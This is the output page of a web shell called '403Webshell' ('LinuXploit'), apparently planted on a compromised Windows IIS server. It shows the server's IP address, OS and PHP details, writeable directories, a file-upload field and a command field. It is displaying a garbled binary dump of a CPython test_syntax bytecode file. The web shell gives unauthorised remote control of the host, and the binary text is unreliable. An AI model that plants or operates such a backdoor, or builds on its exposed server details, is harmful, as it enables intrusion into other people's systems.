403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_syntax.cpython-313.opt-2.pyc
�

��i�L���SSKrSSKrSSKrSSKrSSKJr "SS\R5rSr\	S:Xa\R"5 gg)�N)�supportc���\rSrSrS*SjrSrSrSrSrSr	S	r
S
rSrSr
S
rSrSrSrSrSrSrSrSrSrSrSr\R6S5r\R6S5r\R6S5r\R6S5rSr Sr!Sr"S r#S!r$S"r%S#r&S$r'S%r(\R6S&5r)\R6S'5r*\R6S(5r+S)r,g)+�SyntaxTestCasei�Nc
��[XU5 URS5 g![Gan
U(a.[X�5(dURSUR-5 [
R"U[U
55nUcURSU<35 URU
RU5 UbURU
RU5 UbURU
RU5 UbURU
RU5 U	b!URU
RU	5 Sn
A
gSn
A
gSn
A
ff=f)Nz#compile() did not raise SyntaxErrorzSyntaxError is not a %szSyntaxError did not contain )�compile�fail�SyntaxError�
isinstance�__name__�re�search�str�assertEqual�filename�lineno�offset�
end_lineno�
end_offset)�self�code�errtextr�mode�subclassrrrr�err�mos            �%C:\Python313\\Lib\test\test_syntax.py�_check_error�SyntaxTestCase._check_error�s��	=��D�D�)�$
�I�I�;�<��#�	=��
�3� 9� 9��	�	�3�h�6G�6G�G�H����7�C��H�-�B��z��	�	�g�G�H����S�\�\�8�4��!�� � ����V�4��!�� � ����V�4��%�� � �����<��%�� � �����<�<�&��	=�s� �D?�DD:�:D?c�&�URSSSS9 g)Nzprint(end1 + end2 = ' ')z=expression cannot contain assignment, perhaps you meant "=="?�)r�r�rs r�test_expression_with_assignment�.SyntaxTestCase.test_expression_with_assignment�s�����&�K��	�	
�c�&�URSSSS9 g)Nzf{}�invalid syntax�single�rr!r"s r�1test_curly_brace_after_primary_raises_immediately�@SyntaxTestCase.test_curly_brace_after_primary_raises_immediately�s�����%�!1���Ar%c�(�URSS5 g)Nzf() = 1�assignr!r"s r�test_assign_call�SyntaxTestCase.test_assign_call�s�����)�X�.r%c���URSS5 URSS5 URSS5 URSS5 URSS	5 URS
S5 URSS	5 URS
S	5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URS S5 URS!S5 URS"S#5 URS$S5 g)%Nzdel (,)r'zdel 1zcannot delete literalz
del (1, 2)zdel Nonezcannot delete Nonezdel *xzcannot delete starredzdel (*x)zcannot use starred expressionz	del (*x,)z	del [*x,]zdel f()zcannot delete function callzdel f(a, b)z	del o.f()z
del a[0]()z
del x, f()z
del f(), xzdel [a, b, ((c), (d,), e.f())]zdel (a if True else b)zcannot delete conditionalzdel +azcannot delete expressionz	del a, +bz	del a + bzdel (a + b, c)zdel (c[0], a + b)z
del a.b.c + 2zdel a.b.c[0] + 2zdel (a, b, (c, d.e.f + 2))zdel [a, b, (c, d.e.f[0] + 2)]zdel (a := 5)zcannot delete named expressionz
del a += br!r"s r�test_assign_del�SyntaxTestCase.test_assign_del�s������)�%5�6����'�#:�;����,�(?�@����*�&:�;����(�$;�<����*�&E�F����+�'>�?����+�'>�?����)�%B�C����-�)F�G����+�'D�E����,�(E�F����,�(E�F����,�(E�F����:�<Y�Z����2�4O�P����(�$>�?����+�'A�B����+�'A�B����*�,F�G����-�/I�J����/�+E�F����,�.H�I����6�8R�S����9�;U�V����.�*J�K�	
���,�(8�9r%c�*�SnURUSSS9 g)Nz�if 1:
            def error(a):
                global a  # SyntaxError
            def error2():
                b = 1
                global b  # SyntaxError
            zparameter and global��rr!�r�sources  r�test_global_param_err_first�*SyntaxTestCase.test_global_param_err_first	s!����	
���&�"8���Cr%c�*�SnURUSSS9 g)Nz�if 1:
            def error(a):
                nonlocal a  # SyntaxError
            def error2():
                b = 1
                global b  # SyntaxError
            zparameter and nonlocalr4r5r!r6s  r�test_nonlocal_param_err_first�,SyntaxTestCase.test_nonlocal_param_err_first	s!����	
���&�":�1��Er%c�H�URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URS	S5 URS
S5 g)Nzif 0: yield�outside functionzif 0: yield
else:  x=1zif 1: pass
else: yieldzwhile 0: yieldzwhile 0: yield
else:  x=1zclass C:
  if 0: yieldz#class C:
  if 1: pass
  else: yieldzclass C:
  while 0: yieldz(class C:
  while 0: yield
  else:  x = 1r!r"s r�test_yield_outside_function�*SyntaxTestCase.test_yield_outside_function(	s������-�8J�K����3�8J�K����3�8J�K����*�8J�K����6�8J�K����3�8J�K����A�,�	.����6�8J�K����F�,�	.r%c�H�URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URSS5 URS	S5 URS
S5 g)Nzif 0: returnr>zif 0: return
else:  x=1zif 1: pass
else: returnzwhile 0: returnzclass C:
  if 0: returnzclass C:
  while 0: returnz'class C:
  while 0: return
  else:  x=1z$class C:
  if 0: return
  else: x= 1z$class C:
  if 1: pass
  else: returnr!r"s r�test_return_outside_function�+SyntaxTestCase.test_return_outside_function5	s������.�9K�L����4�9K�L����4�9K�L����+�9K�L����4�9K�L����7�9K�L����E�,�	.����B�,�	.����B�,�	.r%c��SnURSUSS9 URSUSS9 URSUSS9 URSUSS9 URS	USS9 URS
USS9 URSUSS9 g)
Nzoutside loop�break�r5zif 0: breakzif 0: break
else:  x=1zif 1: pass
else: break�zclass C:
  if 0: breakz#class C:
  if 1: pass
  else: breakr4zwith object() as obj:
 breakr!�r�msgs  r�test_break_outside_loop�&SyntaxTestCase.test_break_outside_loopC	s��������'�3�q��1����-��Q��7����3�S���C����3�S���C����3�S���C����A��a�	�	)����9��a�	�	)r%c���SnURSUSS9 URSUSS9 URSUSS9 URSUSS9 URS	US
S9 URSUSS9 g)Nznot properly in loopzif 0: continuerFr5zif 0: continue
else:  x=1zif 1: pass
else: continuerGzclass C:
  if 0: continuez&class C:
  if 1: pass
  else: continuer4z"with object() as obj:
    continuer!rHs  r�test_continue_outside_loop�)SyntaxTestCase.test_continue_outside_loopO	s���$�����*�C���:����6��A��F����6��A��F����6��A��F����D��a�	�	)����?��a�	�	)r%c�.�URSS[S9 g)Nz
foo()
 bar()
zunexpected indent�r�r�IndentationErrorr"s r�test_unexpected_indent�%SyntaxTestCase.test_unexpected_indentZ	s�����+�-@�#3�	�	5r%c�.�URSS[S9 g)Nzif 1:
foo()zexpected an indented blockrPrQr"s r�test_no_indent�SyntaxTestCase.test_no_indent^	s�����.�*F�#3�	�	5r%c�.�URSS[S9 g)Nzif 1:
  foo()
 bar()z unindent does not match .* levelrPrQr"s r�test_bad_outdent�SyntaxTestCase.test_bad_outdentb	s�����2�<�#3�	�	5r%c�(�URSS5 g)Nzint(base=10, '2')z,positional argument follows keyword argumentr!r"s r�test_kwargs_last�SyntaxTestCase.test_kwargs_lastg	s�����-�H�	Jr%c�(�URSS5 g)Nzint(**{'base': 10}, '2')z6positional argument follows keyword argument unpackingr!r"s r�test_kwargs_last2� SyntaxTestCase.test_kwargs_last2k	s�����4�7�	8r%c�(�URSS5 g)Nzint(**{'base': 10}, *['2'])z>iterable argument unpacking follows keyword argument unpackingr!r"s r�test_kwargs_last3� SyntaxTestCase.test_kwargs_last3p	s�����7�7�	8r%c	�,�URSSSSSSS9 g)Nz<foo(x,    y for y in range(3) for z in range(2) if z    , p)z*Generator expression must be parenthesizedrF��5�rrrrr!r"s r�test_generator_in_function_call�.SyntaxTestCase.test_generator_in_function_callu	s%�����X�F�!"�q���	�	Lr%c	�,�URSSSSSSS9 g)Nz9try: pass
except ValueError: pass
except* TypeError: pass�:cannot have both 'except' and 'except\*' on the same 'try'r4rF�rgr!r"s r�test_except_then_except_star�+SyntaxTestCase.test_except_then_except_starz	�%�����W�W�!"�q��q�	�	Jr%c	�,�URSSSSSSS9 g)Nz9try: pass
except* ValueError: pass
except TypeError: passrkr4rFr rgr!r"s r�test_except_star_then_except�+SyntaxTestCase.test_except_star_then_except	ror%c���Sn[USS5 SnSn[USS5 [USS5 g![a URS5 N=f=f![a URS5 gf=f)Nz\
pass
        \

pass
�<string>�execz8Empty line after a line continuation character is valid.zN\
def fib(n):
    \
'''Print a Fibonacci series up to n.'''
    \
a, b = 0, 1
zJ\
def fib(n):
    '''Print a Fibonacci series up to n.'''
    a, b = 0, 1
z/Indented statement over multiple lines is valid)rr	r)r�s�s1�s2s    r�test_empty_line_after_linecont�-SyntaxTestCase.test_empty_line_after_linecont�	s���
��	R��A�z�6�*�
����
	I��B�
�F�+��B�
�F�+��%�	R��I�I�P�Q�	R��&�	I��I�I�G�H�	I�s �
1�A�A�A�A0�/A0c�>�SnUR[[U5 g)Nz(\
if x:
    y = 1
  \
  foo = 1
        )�assertRaisesrRru�rrs  r�!test_continuation_bad_indentation�0SyntaxTestCase.test_continuation_bad_indentation�	s����	
���*�D�$�7r%c��URSS5 URSS5 URSS5 SHn[SUS3SS	S
9 M g)Nzclass A[__classdict__]: passz?reserved name '__classdict__' cannot be used for type parameterzdef f[__classdict__](): passz,type T[__classdict__] = tuple[__classdict__])�	__class__�
__classcell__�__classdictcell__z
class A:
    class B[z]: pass
                �
<testcase>rur))rr)r�names  r� test_disallowed_type_param_names�/SyntaxTestCase.test_disallowed_type_param_names�	st��	
���8�Y�	\����8�Y�	\����H�Y�	\�
H�D��
�
�F���"��
0�Hr%c��Sn[S5H'nUSU-S3-
nUSUS--S3-
nUSU-S3-
nM) USS	3-
nURUS
5 g)N��z    ztry:
rFzraise Exception
zexcept Exception as e:
z0                                                �pass�!too many statically nested blocks)�ranger)rr�is   r�test_nested_named_except_blocks�.SyntaxTestCase.test_nested_named_except_blocks�	s~�����r��A��v�a�x�j��'�'�D��v�q��s�|�n�$5�6�6�D��v�a�x�j� 8�9�9�D��	
�8�*�D�!�!�����$� C�Dr%c�|�SnSnUS-
n[U5H4nURSU<35 [U"U5SS5 SSS5 M6 [X3S-5H9nURSU<35 URU"U5S	5 SSS5 M; g!,(df   M�=f!,(df   M_=f)
Nc�r�[R"S5n[U5HnUSUS3-
nM US-
nU$)Nz]
                def bug():
                    with (
                    a
                �    as a�, a
�
): yield a)�textwrap�dedentr���nrr�s   r�get_code�JSyntaxTestCase.test_with_statement_many_context_managers.<locals>.get_code�	sG���?�?�$��D�
�1�X���(�1�#�U�+�+����L� �D��Kr%�rF�within range: n=rtru��out of range: n=r��r��subTestrr�rr��CO_MAXBLOCKS�MAX_MANAGERSr�s     r�)test_with_statement_many_context_managers�8SyntaxTestCase.test_with_statement_many_context_managers�	s���		���#�a�'���|�$�A���� 1�q�d�3�4�����Z��8�5�4�%��|�A�%5�6�A���� 1�q�d�3�4��!�!�(�1�+�/R�S�5�4�7�5�4��5�4���B�4B,�
B)	�,
B;	c�|�SnSnUS-
n[U5H4nURSU<35 [U"U5SS5 SSS5 M6 [X3S-5H9nURSU<35 URU"U5S	5 SSS5 M; g!,(df   M�=f!,(df   M_=f)
Nc���[R"S5/n[U5HnURSUS35 M URS5 SR	U5$)Nzi
                async def bug():
                    async with (
                    a
                r�r�r�r�)r�r�r��append�joinr�s   rr��PSyntaxTestCase.test_async_with_statement_many_context_managers.<locals>.get_code�	sY���_�_�&���D�
�1�X�����h�q�c��/�0���K�K��%��7�7�4�=� r%r�rFr�rtrur�r�r�r�r�s     r�/test_async_with_statement_many_context_managers�>SyntaxTestCase.test_async_with_statement_many_context_managers�	s���		!���#�a�'���|�$�A���� 1�q�d�3�4�����Z��8�5�4�%��|�A�%5�6�A���� 1�q�d�3�4��!�!�(�1�+�/R�S�5�4�7�5�4��5�4�r�c�,�SnURUS5 g)Nzw
def func1():
    if a != b:
        raise ValueError

def func2():
    try
        return 1
    finally:
        pass
zexpected ':'r!r}s  r�&test_barry_as_flufl_with_syntax_errors�5SyntaxTestCase.test_barry_as_flufl_with_syntax_errors
s��
��	
���$��/r%c�p�URSSSSS9 URSSSSS9 URSSS	SS9 g)
Nz	a = 3 \ 4�6unexpected character after line continuation characterrFrl)rrz1,\#
2�z
fgdfgf
1,\#
2
r4r!r"s r�-test_invalid_line_continuation_error_position�<SyntaxTestCase.test_invalid_line_continuation_error_position
s^�����,�R�!"�1�	�	.�	
���*�R�!"�1�	�	.�	
���0�R�!"�1�	�	.r%c�L�URSS5 URSS5 g)NuA.Ɗ\ r�uA.μ\
zunexpected EOF while parsingr!r"s r�-test_invalid_line_continuation_left_recursive�<SyntaxTestCase.test_invalid_line_continuation_left_recursive
s+��	
���-�R�	T����.�8�	:r%c�F�SHnURUS-SUS35 M SHnURSUS3SUS35 M SHnURUS-SUS	35 M S
nURUS5 URSS
5 SnURUS5 g)Nz([{z1 + 2�\z' was never closedza = z 1, 2, 3
b=3z)]}zunmatched '\�'zFfunc(
    a=["unclosed], # Need a quote in this comment: "
    b=2,
)
z8parenthesis '\)' does not match opening parenthesis '\['zmatch y:
 case e(e=v,v,z was never closeds.# coding=latin
(aaaaaaaaaaaaaaaaa
aaaaaaaaaaa�z'\(' was never closedr!)r�parenrrvs    r�test_error_parenthesis�%SyntaxTestCase.test_error_parenthesis%
s����E����e�g�o��E�7�:L�/M�N���E�����U�G�=�9�R��w�FX�;Y�Z���E����e�g�o��u�g�Q�/G�H����	
���$� \�]����4�6I�J�
C�����!�5�6r%c���URSS5 URSS5 URSS5 URSS5 URSS5 URS	S5 g)
Nz'blechz#unterminated string literal \(.*\)$z"blechz"blech\"zEunterminated string literal \(.*\); perhaps you escaped the end quotez	r"blech\"z'''blechz)unterminated triple-quoted string literalz"""blechr!r"s r�test_error_string_literal�(SyntaxTestCase.test_error_string_literal>
sr�����(�$J�K����(�$J�K�����a�	
�	
����b�	
�	
���*�&Q�R����*�&Q�Rr%c�L�URSS5 URSS5 g)Nzprint("Hello")zinvalid non-printable characterswith(0,,):
r!r"s r�test_invisible_characters�(SyntaxTestCase.test_invisible_charactersK
s&�����.�0Q�R����-�/P�Qr%c�"�Sn[USS5 g)Nz)
def match(x):
    return 1+1

match(34)
rtru�rr}s  r�+test_match_call_does_not_raise_syntax_error�:SyntaxTestCase.test_match_call_does_not_raise_syntax_errorO
�����	��j�&�)r%c�"�Sn[USS5 g)Nz'
def case(x):
    return 1+1

case(34)
rtrur�r}s  r�*test_case_call_does_not_raise_syntax_error�9SyntaxTestCase.test_case_call_does_not_raise_syntax_errorX
r�r%c�&�URSSSS9 g)Nzcall(
a=1,
a=1
)zkeyword argument repeatedr4r5r!r"s r�/test_multiline_compiler_error_points_to_the_end�>SyntaxTestCase.test_multiline_compiler_error_points_to_the_enda
s�����!�'��	�	
r%c�,�SnURUS5 g)Na�
while 1:
 while 2:
  while 3:
   while 4:
    while 5:
     while 6:
      while 8:
       while 9:
        while 10:
         while 11:
          while 12:
           while 13:
            while 14:
             while 15:
              while 16:
               while 17:
                while 18:
                 while 19:
                  while 20:
                   while 21:
                    while 22:
                     while 23:
                      break
r�r!r6s  r�)test_syntax_error_on_deeply_nested_blocks�8SyntaxTestCase.test_syntax_error_on_deeply_nested_blocksh
s����2	
���&�"E�Fr%c���SS-S-nSHGnURUS9 UR[S5 [USU5 SSS5 SSS5 MI g!,(df   N=f!,(df   Ml=f)N�-i���4)ru�evalr(r)ztoo complexrt)r��assertRaisesRegex�MemoryErrorr)rr7rs   r�#test_error_on_parser_stack_overflow�2SyntaxTestCase.test_error_on_parser_stack_overflow�
sb���v���#��.�D����4��(��+�+�K��H��F�J��5�I�)�(�/�H�H��)�(�s"�A(�A�A(�
A%�!A(�(
A7	c��SnUR[5 [USS5 SSS5 g!,(df   g=f)Nz,d{{{{{{{{{{{{{{{{{{{{{{{{{```{{{{{{{ef f():yrtru)r|r	rr6s  r�test_deep_invalid_rule�%SyntaxTestCase.test_deep_invalid_rule�
s0��@��
�
�
�{�
+��F�J��/�,�
+�
+�s�/�
=�)r�ruNNNNN)-r�
__module__�__qualname__�__firstlineno__rr#r*r.r1r8r;r?rBrJrMrSrVrYr\r_rbrhrmrqryr~r�cpython_onlyr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��__static_attributes__r�r%rrr�sq��CG�KO�=�<
�B�/�:�>D�F�.�.�
)�	)�5�5�5�
J�8�
8�
L�
J�
J�
I�@
8�
���0��0�$
���E��E�
���T��T�2
���T��T�20�"	.�:�7�2S�R�*�*�
�
���!G��!G�F
���6��6�
���0��0r%rc�N�UR[R"55 U$)N)�addTest�doctest�DocTestSuite)�loader�tests�patterns   r�
load_testsr��
s��	�M�M�'�&�&�(�)��Lr%�__main__)rr�r��unittest�testr�TestCaserr�r�mainr�r%r�<module>r�sJ��BF
�����R0�X�&�&�R0�j�
�z���M�M�O�r%

Youez - 2016 - github.com/yon3zu
LinuXploit